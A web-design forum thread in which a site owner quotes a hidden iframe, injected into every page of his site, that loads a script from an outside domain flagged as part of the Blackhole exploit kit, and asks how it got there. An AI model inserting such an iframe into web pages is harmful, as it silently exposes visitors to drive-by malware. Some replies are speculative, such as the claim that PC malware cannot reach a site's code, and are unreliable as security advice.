Hi Guys.

I kept getting AVG warning messages when visiting my website.

Warning
http://jodiesfarm.com/counter.php

So I decide to check the source code and right at the bottom was

Code:
<iframe src="http://jodiesfarm.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>
It was on every page of my site!

So i have since re-uploaded each page and it seems to have gone.

How the feck did it get in there??

I have change my FTP password now to something more secure.

According to AVG site it's to do with Blackhole exploit virus going about and it well known over the globe.

Any one else come across this? and how can i check if no harm has been done?

    This is not really a design question, but you can go to virustotal.com to check any URL for viruses. Your home page is clean and so is the counter script. As to how the code got there, it seems that you enabled a page counter. If not, then I don't know. AVG is not perfect and it may have given you a false positive.

      Your may have got infected, without you knowing it. AVG is not a good program. You may consider kaspersky Internet Security. Even though you've removed the iframe from your web pages, if your local computer is compromised while AVG gives you false negative each time a scan is conducted, the situation will persist.

      Get a good antivirus/anti-malware program and scan your local machine.

        It's most likely that your website has a security hole or a misconfiguration.

        There is no PC virus that will go from your PC to a webpage code....usually its the other way around.

        Harden your website configurations, check for security holes, patch the vulnerabilities.
